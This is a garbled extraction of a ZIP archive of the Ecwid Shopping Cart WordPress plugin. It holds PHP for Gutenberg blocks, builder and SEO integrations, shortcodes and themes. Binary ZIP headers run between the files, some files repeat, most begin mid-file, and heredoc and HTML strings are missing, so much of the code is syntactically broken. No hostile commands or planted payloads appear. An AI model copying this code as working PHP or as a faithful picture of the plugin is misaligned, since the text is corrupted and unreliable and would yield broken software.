self::get_icon_path(), 'isDemoStore' => ecwid_is_demo_store(), 'customizeMinicartText' => sprintf( __( 'You can enable an extra shopping bag icon widget that will appear on your site pages. Open “Appearance → Customize → %2$s†menu to enable it.', 'ecwid-shopping-cart' ), 'customize.php?autofocus[section]=' . Ecwid_Customizer::SECTION_MINICART . '&return=' . urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ), Ecwid_Config::get_brand() ) ); $params = array_merge( $params, $this->_get_common_block_params() ); return $params; } public function render_callback( $params ) { $is_wp_customize = isset( $_REQUEST['wp_customize'] ) && $_REQUEST['wp_customize'] == 'on'; if ( $_SERVER['REQUEST_METHOD'] != 'GET' && !$is_wp_customize ) { return ''; } $result = "[ecwid"; $params['widgets'] = 'productbrowser'; if ( isset($params['show_categories']) ) { $params['widgets'] .= ' categories'; } if ( isset($params['show_search']) ) { $params['widgets'] .= ' search'; } foreach ($params as $key => $value) { $result .= " $key='$value'"; } $result .= ']'; $result .= << window.ec = window.ec || Object(); window.ec.storefront = window.ec.storefront || Object(); HTML; $attributes = $this->get_attributes_for_editor(); $store_page_data = array(); foreach ( $attributes as $key => $attribute ) { $name = $attribute['name']; if ( !isset( $params[$name] ) ) { $store_page_data[$name] = $attribute['default']; } $value = null; if ( isset( $params[$name] ) ) { $value = $params[$name]; } if ( $name == 'show_description_under_image' ) { $layout = ( isset($params['product_details_layout']) ) ? $params['product_details_layout'] : null; if ( is_null( $layout ) ) { $layout = $attributes['product_details_layout']['default']; } $applicableLayouts = array( 'TWO_COLUMNS_SIDEBAR_ON_THE_LEFT', 'TWO_COLUMNS_SIDEBAR_ON_THE_RIGHT' ); if ( in_array( $layout, $applicableLayouts ) ) { if ( $layout == 'TWO_COLUMNS_SIDEBAR_ON_THE_LEFT' ) { $name = 'product_details_two_columns_with_left_sidebar_show_product_description_on_sidebar'; } else if ( $layout == 'TWO_COLUMNS_SIDEBAR_ON_THE_RIGHT' ) { $name = 'product_details_two_columns_with_right_sidebar_show_product_description_on_sidebar'; } $attribute['is_storefront_api'] = true; $api = new Ecwid_Api_V3(); $settings = $api->get_store_profile(); if( $settings ){ $design_settings = $settings->designSettings; $value = isset( $params['show_description_under_image'] ) ? !$params['show_description_under_image'] : $design_settings->$name; $attribute['profile_default'] = $design_settings->$name; } } } if ( isset($attribute['is_storefront_api']) && $attribute['is_storefront_api'] ) { if ( is_null( $value ) ) { $value = $attribute['default']; } $profile_default = isset( $attribute['profile_default'] ) ? $attribute['profile_default'] : $attribute['default']; $is_profile_default = $profile_default == $value; if ( !$is_profile_default ) { if ( @$attribute['type'] == 'boolean') { $result .= 'window.ec.storefront.' . $name . "=" . ( $value ? 'true' : 'false' ) . ";" . PHP_EOL; } else { $result .= 'window.ec.storefront.' . $name . "='" . $value . "';" . PHP_EOL; } $store_page_data[$name] = $value; } } } $colors = array(); foreach ( array( 'foreground', 'background', 'link', 'price', 'button' ) as $kind ) { $color = ( isset($params['chameleon_color_' . $kind]) ) ? $params['chameleon_color_' . $kind] : false; if ( $color ) { $colors['color-' . $kind] = $color; } } if ( empty( $colors ) ) { $colors = 'auto'; } $colors = json_encode($colors); $chameleon = apply_filters( 'ecwid_chameleon_settings', array( 'colors' => $colors ) ); if ( !is_array($chameleon ) ) { $chameleon = array( 'colors' => $colors, ); } if ( !isset( $chameleon['colors'] ) ) { $chameleon['colors'] = json_encode($colors); } $store_page_data['chameleon-colors'] = $chameleon['colors']; Ecwid_Store_Page::save_store_page_params( $store_page_data ); if ( $chameleon['colors'] != 'auto' ) { $result .= << HTML; return $result; } public function get_attributes_for_editor() { $api = new Ecwid_Api_V3(); if ( $api->is_available() && $api->get_store_profile() ) { $settings = $api->get_store_profile()->designSettings; } else { $settings = new stdClass(); } $attributes = Ecwid_Product_Browser::get_attributes(); $to_remove = array( 'product_details_two_columns_with_left_sidebar_show_product_description_on_sidebar', 'product_details_two_columns_with_right_sidebar_show_product_description_on_sidebar' ); foreach ( $to_remove as $name ) { unset( $attributes[ $name ] ); } $attributes['show_description_under_image'] = array( 'name' => 'show_description_under_image', 'title' => __( 'Show description under the image', 'ecwid-shopping-cart' ), 'default' => false, 'type' => 'boolean' ); foreach ( $attributes as $key => $attribute ) { $name = $attribute['name']; $default = null; if ( property_exists( $settings, $name ) ) { $default = $settings->$name; } $prop_to_default_exceptions = array( 'product_list_category_image_aspect_ratio' => 'product_list_image_aspect_ratio', 'product_list_category_image_size' => 'product_list_image_size' ); if ( array_key_exists( $name, $prop_to_default_exceptions ) ) { $another_name = $prop_to_default_exceptions[ $name ]; if ( property_exists( $settings, $another_name ) ) { $default = $settings->$another_name; } } if ( $default !== null ) { $attributes[$key]['profile_default'] = $attributes[ $key ]['default'] = $default; } } $categories = ecwid_get_categories_for_selector(); if ( $categories ) { $attributes['default_category_id']['values'] = array( array( 'value' => '0', 'title' => __( 'Store root category', 'ecwid-shopping-cart' ) ) ); foreach ( $categories as $category ) { $attributes['default_category_id']['values'][] = array( 'value' => $category->id, 'title' => $category->name ); } $attributes['default_category_id']['default'] = ''; } else { $api = new Ecwid_Api_V3(); $cats = $api->get_categories( array() ); if ( $cats && $cats->total == 0 ) { unset( $attributes['default_category_id'] ); } } $attributes['widgets'] = array( 'type' => 'string', 'default' => '', 'name' => 'widgets' ); return $attributes; } protected function _is_new_product_list() { $api = new Ecwid_Api_V3(); return ecwid_is_demo_store() || !Ecwid_Api_V3::is_available() || $api->is_store_feature_enabled( Ecwid_Api_V3::FEATURE_NEW_PRODUCT_LIST ); } protected function _is_new_details_page() { $api = new Ecwid_Api_V3(); return ecwid_is_demo_store() || !Ecwid_Api_V3::is_available() || $api->is_store_feature_enabled( Ecwid_Api_V3::FEATURE_NEW_DETAILS_PAGE ); } public function get_icon_path() { return 'M15.32,15.58c-0.37,0-0.66,0.3-0.66,0.67c0,0.37,0.3,0.67,0.66,0.67c0.37,0,0.67-0.3,0.67-0.67 C15.98,15.88,15.69,15.58,15.32,15.58z M15.45,0H4.55C2.04,0,0,2.04,0,4.55v10.91C0,17.97,2.04,20,4.55,20h10.91c2.51,0,4.55-2.04,4.55-4.55V4.55 C20,2.04,17.96,0,15.45,0z M12.97,4.94C13.54,4.94,14,5.4,14,5.96s-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C11.95,5.4,12.41,4.94,12.97,4.94z M12.97,8.02c0.57,0,1.03,0.46,1.03,1.03c0,0.57-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C11.95,8.48,12.41,8.02,12.97,8.02z M9.98,4.94c0.57,0,1.03,0.46,1.03,1.03s-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C8.95,5.4,9.41,4.94,9.98,4.94z M9.98,8.02c0.57,0,1.03,0.46,1.03,1.03s-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C8.95,8.48,9.41,8.02,9.98,8.02z M7.03,4.94c0.57,0,1.03,0.46,1.03,1.03S7.6,6.99,7.03,6.99C6.46,6.99,6,6.53,6,5.96 C6,5.4,6.46,4.94,7.03,4.94z M7.03,8.02c0.57,0,1.03,0.46,1.03,1.03s-0.46,1.03-1.03,1.03C6.46,10.08,6,9.62,6,9.05 C6,8.48,6.46,8.02,7.03,8.02z M4.6,18.02c-1.02,0-1.86-0.83-1.86-1.86c0-1.03,0.83-1.86,1.86-1.86c1.03,0,1.86,0.83,1.86,1.86 C6.45,17.19,5.62,18.02,4.6,18.02z M15.32,18.1c-1.02,0-1.86-0.83-1.86-1.86c0-1.03,0.83-1.86,1.86-1.86c1.03,0,1.86,0.83,1.86,1.86 C17.17,17.27,16.34,18.1,15.32,18.1z M18.48,2.79l-1.92,7.14c-0.51,1.91-2.03,3.1-4,3.1H7.2c-1.91,0-3.26-1.09-3.84-2.91L1.73,5 C1.7,4.9,1.72,4.79,1.78,4.71c0.06-0.09,0.16-0.14,0.27-0.14l0.31,0c0.75,0,1.41,0.49,1.64,1.2l1.2,3.76 c0.32,1.02,1.26,1.7,2.33,1.7h4.81c1.1,0,2.08-0.74,2.36-1.81l1.55-5.78c0.2-0.75,0.89-1.28,1.67-1.28h0.24 c0.1,0,0.2,0.05,0.26,0.13C18.48,2.58,18.5,2.68,18.48,2.79z M4.6,15.5c-0.37,0-0.66,0.3-0.66,0.67c0,0.37,0.3,0.67,0.66,0.67c0.37,0,0.67-0.3,0.67-0.67 S4.96,15.5,4.6,15.5z'; } }PKÊ—[`¬‚a"a"@ecwid-shopping-cart/includes/gutenberg/class-ecwid-gutenberg.phpnu„[µü¤ $block_name ) { require_once dirname( __FILE__ ) . "/class-ecwid-gutenberg-block-$block.php"; $className = "Ecwid_Gutenberg_Block_" . str_replace('-', '_', ucfirst( $block ) ); $this->_blocks[] = new $className(); } foreach ( $this->_blocks as $block ) { $block->register(); } add_action( 'admin_init', array( $this, 'init_scripts' ) ); add_action( 'enqueue_block_editor_assets', array( $this, 'enqueue_block_editor_assets' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) ); add_action( "rest_insert_post", array( $this, 'on_save_post' ), 10, 3 ); add_action( "rest_insert_page", array( $this, 'on_save_post' ), 10, 3 ); add_filter( 'block_categories', array( $this, 'block_categories' ) ); } public function init_scripts() { wp_register_script( 'ecwid-gutenberg-store', ECWID_PLUGIN_URL . 'js/gutenberg/blocks.build.js', array( 'wp-blocks', 'wp-i18n', 'wp-element', 'wp-editor' ), get_option('ecwid_plugin_version') ); wp_set_script_translations( 'ecwid-gutenberg-store', 'ecwid-shopping-cart', ECWID_PLUGIN_DIR . '/languages' ); } public function admin_enqueue_scripts() { wp_enqueue_script( 'gutenberg-store' ); EcwidPlatform::enqueue_style( 'store-popup' ); } public function block_categories( $categories ) { $store_block = new Ecwid_Gutenberg_Block_Store(); return array_merge( $categories, array( array( 'slug' => 'ec-store', 'title' => sprintf( __( '%s', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ), 'icon' => '' ), ) ); } public function on_save_post( $post, $request, $creating ) { if (strpos( $post->post_content, '' . $content . ''; } public function hook_js_exclude($exclude) { $code= ecwid_get_search_js_code(); $code .= ', ecwid_html, ecwid_body'; $code .= ", " . Ecwid_Static_Page::HANDLE_STATIC_PAGE . ".js"; $code .= ", EcStaticPageUtils"; $code .= ", createClass"; return $exclude . ", $code"; } } $ecwid_integration_autoptimize = new Ecwid_Integration_Autoptimize();PKÊ—[¼Šë88Tecwid-shopping-cart/includes/integrations/class-ecwid-integration-beaver-builder.phpnu„[µü¤post_type; if( $post_type == 'ec-product' ) { return false; } if( $post_type == 'attachment' && strpos($pr_info['loc'], Ecwid_Store_Page::get_store_url()) === 0 ){ return false; } return $pr_info; } // Disable titles, descriptions and canonical link on ecwid _escaped_fragment_ pages public function disable_seo_if_needed() { if (! Ecwid_Store_Page::is_store_page() ) { return; } $is_escaped_fragment = array_key_exists('_escaped_fragment_', $_GET); $is_seo_links_store_page = Ecwid_Seo_Links::is_enabled() && Ecwid_Seo_Links::is_product_browser_url(); if ( !$is_escaped_fragment && !$is_seo_links_store_page ) { return; } global $aioseop_options; $aioseop_options['aiosp_can'] = false; add_filter( 'aioseop_title', '__return_null' ); add_filter( 'aioseop_description', '__return_null' ); } // Hook that new sitemap type to aiosp sitemap public function aiosp_hook_sitemap_extra( $params ) { return array_merge($params, array('ecwid')); } // Hook that adds content to aiosp sitemap public function aiosp_hook_sitemap_content() { $this->sitemap = array(); ecwid_build_sitemap( array($this, 'sitemap_callback') ); $sitemap = $this->sitemap; $this->sitemap = null; return $sitemap; } // A callback for the streaming sitemap builder public function sitemap_callback($url, $priority, $frequency) { array_push($this->sitemap, array( 'loc' => $url, 'priority' => $priority, 'changefreq' => $frequency )); } } $ecwid_integration_aiosp = new Ecwid_Integration_All_In_One_SEO_Pack();PKÊ—[é¨fo¯¯Qecwid-shopping-cart/includes/integrations/class-ecwid-integration-autoptimize.phpnu„[µü¤' . $content . ''; } public function hook_js_movelast($scripts) { if ((bool)get_option('ecwid_use_chameleon')) { $scripts[] = 'chameleon.js'; } return $scripts; } public function hook_js_exclude($exclude) { $code = ecwid_get_search_js_code(); if ( Ecwid_Static_Page::is_enabled_static_home_page() ) { $code .= ", " . Ecwid_Static_Page::HANDLE_STATIC_PAGE . ".js"; } return $exclude . ", $code"; } } $ecwid_integration_autoptimize = new Ecwid_Integration_Autoptimize();PKÊ—[¼Šë88Tecwid-shopping-cart/includes/integrations/class-ecwid-integration-beaver-builder.phpnu„[µü¤add_element( $page ); } else { $generator_object->AddElement( $page ); } } } //phpcs:enable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase } new Ecwid_Integration_Google_Sitemap_Generator(); PKÊ—[jÙ~s?s?Oecwid-shopping-cart/includes/integrations/class-ecwid-integration-gutenberg.phpnu„[µü¤name = sprintf( __( '%s Store', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); $this->slug = 'et_pb_ecwid'; $this->use_row_content = TRUE; $this->decode_entities = TRUE; $this->whitelisted_fields = array( 'raw_content', 'admin_label', 'module_id', 'module_class', ); } function get_fields() { $fields = array( 'raw_content' => array( 'label' => __( 'Content', 'et_builder' ), 'type' => 'text', 'option_category' => 'basic_option', 'description' => __( 'Here you can create the content that will be used within the module.', 'et_builder' ), 'default' => '[' . Ecwid_Shortcode_Base::get_current_store_shortcode_name() .' widgets="productbrowser" default_category_id="0"]' ), 'admin_label' => array( 'label' => __( 'Admin Label', 'et_builder' ), 'type' => 'text', 'description' => __( 'This will change the label of the module in the builder for easy identification.', 'et_builder' ), ), 'module_id' => array( 'label' => __( 'CSS ID', 'et_builder' ), 'type' => 'text', 'option_category' => 'configuration', 'description' => __( 'Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page.', 'et_builder' ), ), 'module_class' => array( 'label' => __( 'CSS Class', 'et_builder' ), 'type' => 'text', 'option_category' => 'configuration', 'description' => __( 'Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space.', 'et_builder' ), ), ); return $fields; } function shortcode_callback( $atts, $content = NULL, $function_name ) { $module_id = $this->shortcode_atts['module_id']; $module_class = $this->shortcode_atts['module_class']; $module_class = ET_Builder_Element::add_module_order_class( $module_class, $function_name ); $this->shortcode_content = et_builder_replace_code_content_entities( $this->shortcode_content ); $output = sprintf( ' %1$s ', $this->shortcode_content, ( '' !== $module_id ? sprintf( ' id="%1$s"', esc_attr( $module_id ) ) : '' ), ( '' !== $module_class ? sprintf( ' %1$s', esc_attr( $module_class ) ) : '' ) ); return $output; } } new ET_Builder_Module_Ecwid; } }PKÊ—[žJ?44Oecwid-shopping-cart/includes/integrations/class-ecwid-integration-elementor.phpnu„[µü¤_should_apply() ) { add_action( 'widgets_init', array( $this, 'sidebar_widgets_init') ); } } public function sidebar_widgets_init() { if( class_exists( 'Ecwid_Widget_Product_Browser' ) ) { register_widget('Ecwid_Widget_Product_Browser'); } } protected function _should_apply() { global $pagenow; return !(is_admin() && $pagenow == 'widgets.php'); } }PKÊ—[ÿ–::^ecwid-shopping-cart/includes/integrations/class-ecwid-integration-google-sitemap-generator.phpnu„[µü¤ array( 'foreground', 'background', 'link', 'price', 'button' ) as $kind ) { $color = @$params['chameleon_color_' . $kind]; if ( $color ) { $colors['color-' . $kind] = $color; } } if ( empty( $colors ) ) { $colors = 'auto'; } $colors = json_encode($colors); $chameleon = apply_filters( 'ecwid_chameleon_settings', array( 'colors' => $colors ) ); if ( !is_array($chameleon ) ) { $chameleon = array( 'colors' => $colors, ); } if ( !isset( $chameleon['colors'] ) ) { $chameleon['colors'] = json_encode($colors); } $store_page_data['chameleon-colors'] = $chameleon['colors']; Ecwid_Store_Page::save_store_page_params( $store_page_data ); if ( $chameleon['colors'] != 'auto' ) { $result .= <<post_content ); } else { $blocks = parse_blocks( $post->post_content ); } if ( empty( $blocks ) ) { return array(); } $result = array(); PKÊ—[Ý/A?A?Oecwid-shopping-cart/includes/integrations/class-ecwid-integration-gutenberg.phpnu„[µü¤ 'ecwid-gutenberg-store', 'render_callback' => array( $this, 'render_callback' ), )); register_block_type(self::PRODUCT_BLOCK, array( 'editor_script' => 'ecwid-gutenberg-store', 'render_callback' => array( $this, 'product_render_callback' ), )); add_filter( 'block_categories', array( $this, 'block_categories' ) ); } public function admin_enqueue_scripts() { wp_enqueue_script( 'gutenberg-store' ); EcwidPlatform::enqueue_style( 'store-popup' ); } public function block_categories( $categories ) { return array_merge( $categories, array( array( 'slug' => 'ec-store', 'title' => sprintf( __( '%s', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ), 'icon' => '' ), ) ); } public function on_save_post( $post, $request, $creating ) { if (strpos( $post->post_content, '" . $shortcode_content . ""; return $shortcode_content; } public function render() { if (!$this->_should_render) return ''; $custom_renderer = apply_filters('ecwid_shortcode_custom_renderer', null, $this); if (is_callable($custom_renderer)) { return call_user_func( $custom_renderer, $this ); } return self::_default_render(); } public function render_script() { $params_string = $this->build_params_string( array_merge( $this->_params, array('id' => $this->get_html_id()) ) ); $function = $this->get_ecwid_widget_function_name(); return << $function($params_string); HTML; } public function render_placeholder() { $classname = $this->_get_html_class_name(); $id = $this->get_html_id(); return << HTML; } protected function _get_html_class_name() { return $this->get_shortcode_name(); } public function get_html_id() { return 'ecwid-shopping-cart-' . $this->get_shortcode_name() . '-' . ( $this->_index + 1); } protected function _default_render() { $result = ''; $result .= $this->render_placeholder(); $result .= $this->render_script(); $result = apply_filters('ecwid_' . $this->get_shortcode_name() . '_shortcode_content', $result); if ($result) { return $this->wrap_code( $result ); } return ''; } public function build_params_string($params = null) { if (is_null($params)) { $params = $this->_params; } unset( $params['noHTMLCatalog'] ); $pieces = array(); if ( !empty ( $params ) ) { foreach ( $params as $key => $value ) { $pieces[] = "$key=$value"; } } return '"' . implode('","', $pieces) . '"'; } }PKÊ—[‚ŠÑÑLecwid-shopping-cart/includes/shortcodes/class-ecwid-shortcode-categories.phpnu„[µü¤_should_render = (isset($params['is_ecwid_shortcode']) && $params['is_ecwid_shortcode']) ? true : get_option('ecwid_show_categories'); } public static function get_shortcode_name() { return 'categories'; } public function get_ecwid_widget_function_name() { return 'xCategoriesV2'; } public function render_placeholder() { $classname = $this->_get_html_class_name(); $id = $this->get_html_id(); return <<
    HTML; } }PKÊ—[Jecwid-shopping-cart/includes/shortcodes/class-ecwid-shortcode-minicart.phpnu„[µü¤PKÊ—[²w!Pecwid-shopping-cart/includes/shortcodes/class-ecwid-shortcode-productbrowser.phpnu„[µü¤check_base_urls_on_view_store_page_as_admin(); } $default_render = parent::render(); $option_print_html_catalog = get_option('ecwid_print_html_catalog', 'Y'); if ( !Ecwid_Static_Page::is_data_available() || @$this->_params['noHTMLCatalog'] || empty( $option_print_html_catalog ) ) { return $default_render; } $code = ''; global $ecwid_current_theme; if ( $ecwid_current_theme ) { $code = << if( typeof document.documentElement.id == 'undefined' || document.documentElement.id === '' ) { document.documentElement.id = 'ecwid_html'; } if( typeof document.body.id == 'undefined' || document.body.id === '' ) { document.body.id = 'ecwid_body'; } HTML; } $classname = ''; if ( Ecwid_Static_Page::is_enabled_static_home_page() && Ecwid_Static_Page::is_feature_available() ) { $code .= self::_get_js_switch_dynamic('static-ec-store', 'dynamic-ec-store'); $classname = 'hide-ec-dynamic-placeholder'; } else { $code .= self::_get_js_hide_static('#static-ec-store'); } $code .= '
    ' . $default_render . '
    ' . PHP_EOL; $static_html_code = Ecwid_Static_Page::get_html_code(); $code .= '
    ' . htmlspecialchars_decode( $static_html_code ) . '
    ' . PHP_EOL; $js_code = Ecwid_Static_Page::get_js_code(); if( !empty( $js_code ) ) { $code .= sprintf('', $js_code) . PHP_EOL; } return $code; } protected function _get_js_switch_dynamic( $static_container_id, $dynamic_container_id ) { return << window.ec.storefront.staticPages = window.ec.storefront.staticPages || Object(); ec.storefront.staticPages.staticStorefrontEnabled = true; ec.storefront.staticPages.staticContainerID = '$static_container_id'; ec.storefront.staticPages.dynamicContainerID = '$dynamic_container_id'; ec.storefront.staticPages.autoSwitchStaticToDynamicWhenReady = true; HTML; } protected function _get_js_hide_static( $html_selector ) { return << function createClass(name,rules){ var style = document.createElement('style'); style.type = 'text/css'; document.getElementsByTagName('head')[0].appendChild(style); if(!(style.sheet||{}).insertRule) (style.styleSheet || style.sheet).addRule(name, rules); else style.sheet.insertRule(name+'{'+rules+'}',0); } createClass('$html_selector','display:none;'); HTML; } public function render_placeholder( ) { $store_id = get_ecwid_store_id(); $params = array( 'default_category_id' => 0 ); if ( $this->_lang ) { $params['lang'] = $this->_lang; } if ( isset($this->_params['defaultCategoryId']) ) { $params['default_category_id'] = $this->_params['defaultCategoryId']; } if ( @$this->_params['defaultProductId'] ) { $params['default_product_id'] = $this->_params['defaultProductId']; } Ecwid_Store_Page::save_store_page_params( $params ); $classname = $this->_get_html_class_name(); $result = << HTML; return $result; } protected function _process_params( $shortcode_params = array() ) { $atts = shortcode_atts( array( 'categories_per_row' => false, 'grid' => false, 'list' => false, 'table' => false, 'search_view' => false, 'category_view' => false ), $shortcode_params ); $grid = explode(',', $atts['grid']); if (count($grid) == 2) { $atts['grid_rows'] = intval($grid[0]); $atts['grid_cols'] = intval($grid[1]); } else { list($atts['grid_rows'], $atts['grid_cols']) = array(false, false); } $list_of_views = array('list','grid','table'); $cats_per_row = $atts['categories_per_row'] ? $atts['categories_per_row'] : get_option('ecwid_pb_categoriesperrow'); $products_per_column_in_grid = $atts['grid_rows'] ? $atts['grid_rows'] : get_option('ecwid_pb_productspercolumn_grid'); $products_per_row_in_grid = $atts['grid_cols'] ? $atts['grid_cols'] : get_option('ecwid_pb_productsperrow_grid'); $products_in_list = $atts['list'] ? $atts['list'] : get_option('ecwid_pb_productsperpage_list'); $products_in_table = $atts['table'] ? $atts['table'] : get_option('ecwid_pb_productsperpage_table'); $default_view = $atts['category_view'] ? $atts['category_view'] : get_option('ecwid_pb_defaultview'); $search_view = $atts['search_view'] ? $atts['search_view'] : get_option('ecwid_pb_searchview'); $ecwid_default_category_id = $this->_get_param_default_category_id( $shortcode_params ); $store_id = get_ecwid_store_id(); if (empty($cats_per_row)) { $cats_per_row = 3; } if (empty($products_per_column_in_grid)) { $products_per_column_in_grid = 3; } if (empty($products_per_row_in_grid)) { $products_per_row_in_grid = 3; } if (empty($products_in_list)) { $products_in_list = 10; } if (empty($products_in_table)) { $products_in_table = 20; } if (empty($default_view) || !in_array($default_view, $list_of_views)) { $default_view = 'grid'; } if (empty($search_view) || !in_array($search_view, $list_of_views)) { $search_view = 'list'; } $input_params = array( 'id' => "ecwid-store-$store_id", 'views' => "grid($products_per_column_in_grid,$products_per_row_in_grid) list($products_in_list) table($products_in_table)" ); if ( ecwid_is_legacy_appearance_used() ) { $legacy_input_params = array( 'categoriesPerRow' => $cats_per_row, 'categoryView' => $default_view, 'searchView' => $search_view, ); $input_params = array_merge($input_params, $legacy_input_params); } if ($ecwid_default_category_id) { $input_params['defaultCategoryId'] = $ecwid_default_category_id; } if ( isset($shortcode_params['default_product_id']) && $shortcode_params['default_product_id'] > 0 ) { $input_params['defaultProductId'] = $shortcode_params['default_product_id']; } if ( isset($shortcode_params['no_html_catalog']) ) { $input_params['noHTMLCatalog'] = $shortcode_params['no_html_catalog']; } $this->_params = $input_params; } /** * @param $shortcode_params * * @return mixed|void */ protected function _get_param_default_category_id( $shortcode_params ) { $ecwid_default_category_id = ! empty( $shortcode_params ) && array_key_exists( 'default_category_id', $shortcode_params ) ? $shortcode_params['default_category_id'] : get_option( 'ecwid_default_category_id' ); return $ecwid_default_category_id; } }PKÊ—[&½1ö''Iecwid-shopping-cart/includes/shortcodes/class-ecwid-shortcode-product.phpnu„[µü¤ null, 'display' => 'picture title price options addtobag', 'link' => 'yes', 'version' => '1', 'show_border' => '1', 'show_price_on_button' => '1', 'center_align' => '1' ), $shortcode_params ); $id = $attributes['id']; if (is_null($id) || !is_numeric($id) || $id <= 0) { $this->_should_render = false; return; } if ($attributes['link'] == 'yes' && !ecwid_is_store_page_available()) { $attributes['link'] = 'no'; } $version = $attributes['version']; if (!in_array($version, array('1', '2'))) { $attributes['version'] = 1; } $this->_params = $attributes; } public function render_placeholder() { $widget_parts = array(); if ($this->_params['version'] == 1) { $widget_parts = $this->_get_widget_parts_v1(); } else if ($this->_params['version'] == 2) { $widget_parts = $this->_get_widget_parts_v2(); } $display_items = $widget_parts['display_items']; $result = $widget_parts['opening_div']; $items = preg_split('![^0-9^a-z^A-Z^\-^_]!', $this->_params['display']); $product = Ecwid_Product::get_without_loading( $this->_params['id'], (object)array('name' => '') ); if (is_array($items) && count($items) > 0) foreach ($items as $item) { if (array_key_exists($item, $display_items)) { if ($this->_params['link'] == 'yes' && in_array($item, array('title', 'picture'))) { $product_link = $product->link; $result .= '' . $display_items[$item] . ''; } else { $result .= $display_items[$item]; } } } $result .= ''; $result .= ' '; // APPS-892, otherwise there is no space between consecutive widgets update_option('ecwid_single_product_used', time()); return $result; } public function get_ecwid_widget_function_name() { return $this->_params['version'] == 1 ? 'xSingleProduct' : 'xProduct'; } protected function _get_widget_parts_v1() { return array( 'display_items' => array( 'picture' => '
    ', 'title' => '
    ', 'price' => '
    ' . '
    ' . '
    ', 'options' => '
    ', 'qty' => '
    ', 'addtobag' => '
    ' ), 'opening_div' => sprintf('
    ', $this->_params['id'], $this->_params['id'], $this->get_html_id()) ); } protected function _get_widget_parts_v2() { $price_location_attributes = ' data-spw-price-location="button"'; $main_div_classes = array( 'ecwid', 'ecwid-SingleProduct-v2', 'ecwid-Product', 'ecwid-Product-' . $this->_params['id'] ); if ($this->_params['show_border'] != 0) { // defaults to 1 $bordered_class = ''; $main_div_classes[] = 'ecwid-SingleProduct-v2-bordered'; } if ($this->_params['center_align'] == 1) { // defaults to 0 $main_div_classes[] = 'ecwid-SingleProduct-v2-centered'; } $main_div_class = implode( ' ', $main_div_classes ); if ($this->_params['show_price_on_button'] == 0) { // defaults to 1 $price_location_attributes = ''; } return array( 'display_items' => array( 'picture' => '
    ', 'title' => '
    ', 'price' => '
    ' . '
    ' . '
    ' . '
    ' . '
    ', 'options' => '
    ', 'qty' => '
    ', 'addtobag' => '
    ' ), 'opening_div' => sprintf('
    ', $this->_params['id'], $this->get_html_id() ) ); } public function build_params_string($params = null) { if ( !is_null( $params ) && array_key_exists( 'id', $params ) ) { unset( $params['id'] ); } return parent::build_params_string( $params ); } } PKÊ—[&90yííHecwid-shopping-cart/includes/shortcodes/class-ecwid-shortcode-search.phpnu„[µü¤_should_render = (isset($params['is_ecwid_shortcode']) && $params['is_ecwid_shortcode']) ? true : get_option('ecwid_show_search_box'); } public static function get_shortcode_name() { return 'search'; } public function get_ecwid_widget_function_name() { return 'xSearch'; } }PKÊ—[`þcYYFecwid-shopping-cart/includes/shortcodes/class-ecwid-shortcode-stub.phpnu„[µü¤_get_html_class_name(); $id = $this->get_html_id(); return <<
    HTML; } }PKÊ—[ÿatàöö?ecwid-shopping-cart/includes/themes/class-ecwid-theme-avada.phpnu„[µü¤create_scroller( array( 'scroll' => 95 ) ); } public function shortcode_content( $content ) { $content .= << Ecwid.OnPageLoaded.add( function() { if (typeof niceScrollReInit == 'function') { niceScrollReInit(); } } ); HTML; return $content; } } return new Ecwid_Theme_Avada();PKÊ—[ů±Mò ò >ecwid-shopping-cart/includes/themes/class-ecwid-theme-base.phpnu„[µü¤name = $name; if (is_admin()) return; if ( array_key_exists( 'scroll', $props ) ) { $theme->create_scroller( $props ); } if ( in_array( 'js', $props, true ) ) { $theme->add_js(); } if ( in_array( 'css', $props, true ) ) { $theme->add_css(); } if ( in_array( 'css-no-parent', $props, true ) ) { $theme->add_css( '' ); } if (in_array( 'historyjs_html4mode', $props, true ) ) { $theme->historyjs_html4mode = true; } if (in_array( self::PROP_USE_JS_API_FOR_CATS_NAV_MENU, $props, true ) ) { add_filter( Ecwid_Nav_Menus::FILTER_USE_JS_API_FOR_CATS_MENU, array( $theme, 'filter_use_js_api_for_cats_menu' ) ); } if ( in_array( self::PROP_AJAX_DEFER_RENDERING, $props, true ) ) { add_filter( Ecwid_Ajax_Defer_Renderer::FILTER_ENABLED, '__return_true' ); } return $theme; } public function filter_use_js_api_for_cats_menu( $value ) { return Ecwid_Nav_Menus::OPTVAL_USE_JS_API_FOR_CATS_MENU_TRUE; } protected function add_js() { wp_enqueue_script( 'ecwid-theme-js', ECWID_PLUGIN_URL . 'js/themes/' . $this->name . '.js', array( 'jquery' ), get_option('ecwid_plugin_version') ); } public function create_scroller( $props ) { $this->scroll_indent = $props['scroll']; if( is_admin_bar_showing() ) { $this->scroll_indent += $this->scroll_indent_admin_bar; } add_filter( 'ecwid_inline_js_config', array( $this, 'ecwid_inline_js_config_hook' ) ); } public function ecwid_inline_js_config_hook( $js ) { $js .= 'window.ec.config.scroll_indent = ' . $this->scroll_indent . ';'; return $js; } protected function add_css( $parent = null ) { $name = strtolower( $this->name ); if (is_null($parent)) { $parent = array( $name . '-style' ); } else if (empty($parent)) { $parent = array(); } else { $parent = array( $parent ); } wp_enqueue_style( 'ecwid-theme-css', ECWID_PLUGIN_URL . 'css/themes/' . $name . '.css', $parent, get_option('ecwid_plugin_version') ); } }PKÊ—[•êyhhCecwid-shopping-cart/includes/themes/class-ecwid-theme-boundless.phpnu„[µü¤ '165', 'height' => '58', 'alt' => __('Ecwid ecommerce solution', 'ecwid-shopping-cart') ), 'ecwid-free-shopping-cart-2' => array ( 'name' => 'ecwid-free-shopping-cart-2', 'width' => '175', 'height' => '58', 'alt' => __('Ecwid free shopping cart', 'ecwid-shopping-cart') ), 'ecwid-shopping-cart-3' => array ( 'name' => 